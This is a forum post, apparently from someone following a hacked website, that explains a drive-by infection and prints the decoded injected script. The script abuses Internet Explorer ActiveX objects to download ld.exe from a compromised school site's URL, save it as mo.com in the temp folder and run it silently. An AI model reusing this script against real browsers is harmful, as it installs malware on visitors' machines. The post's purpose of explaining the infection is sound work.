[DavidAllen]

At last EUK appear to have fixed the problem - It's only taken 3 weeks to run that replace command properly!!

The reason you noticed 'mo.com' is cos the link d/loads a file and calls it mo.com which it then tries to run.

If you follow the iframe links you'll find it leads to some encrypted code which translates as below:

html>

script type="text/javascript" language="javascript">
var i = 0;
var t = new Array(
'BD96C556-65A3-11D0-983A-00C04FC29E36',
'AB9BCEDD-EC7E-47E1-9322-D4A210617116',
'0006F033-0000-0000-C000-000000000046',
'0006F03A-0000-0000-C000-000000000046',
'6E32070A-766D-4EE6-879C-DC1FA91D2FC3',
'6414512B-B978-451D-A0D8-FCFDF33E833C',
'7F5B7F63-F06F-4331-8A26-339E03C0AE3D',
'06723E09-F4C2-43c8-8358-09FCD1DB0766',
'639F725F-1B2D-4831-A9FD-874847682010',
'BA018599-1DB3-44f9-83B4-461454C84BF8',
'D0C07D56-7C69-43F1-B4A0-25F5A11FAB19',
'E8CCCDDF-CA28-496b-B050-6C07C962476B'
);

function fgr() {
return true;
}
window.onerror = fgr;

function CreateO(o, n) {
var r = null;
try { eval('r = o.CreateObject(n)') }catch(e){}
if (! r) {
try { eval('r = o.CreateObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.CreateObject(n, "", "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject("", n)') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n, "")') }catch(e){}
}
if (! r) {
try { eval('r = o.GetObject(n)') }catch(e){}
}
return(r);
}

function DoIt()
{
x.Open('GET','hxxp://mortimercomprehensive.co.uk/images/opennight/thumbs/tmp1/ld.exe',false);
x.Send();
var fname1 = 'mo.com';
var f = CreateO(xml,'Scripting.FileSystemObject');
var tmp = f.GetSpecialFolder(2);
fname1 = f.BuildPath(tmp,fname1);
S.open();
S.write(x.responseBody);
S.savetofile(fname1,2);
S.close();
var Q = CreateO(xml,'Shell.Application');
Q.ShellExecute(fname1,'','','open',0);
}

/script>
/head>
body>
script type="text/javascript" language="JavaScript">
if (navigator.userAgent.indexOf('MSIE') != -1) {
while (t[i]) {

var xml = null;

xml = document.createElement('object');
xml.setAttribute('classid','clsid:BD96C556-65A3-11D0-983A-00C04FC29E36');
n_xml = 'Microsoft.XMLHTTP';
var x = xml.CreateObject(n_xml,"");
a1 = 'ADO';
a2 = 'DB.';
a3 = 'Str';
a4 = 'eam';
str1 = a1 + a2 + a3 + a4;
str5 = str1;
if (xml) {
var S = CreateO(xml,str5);
if (S) {
S.type = 1;
str6 = 'GET';
DoIt();
}
}
}
}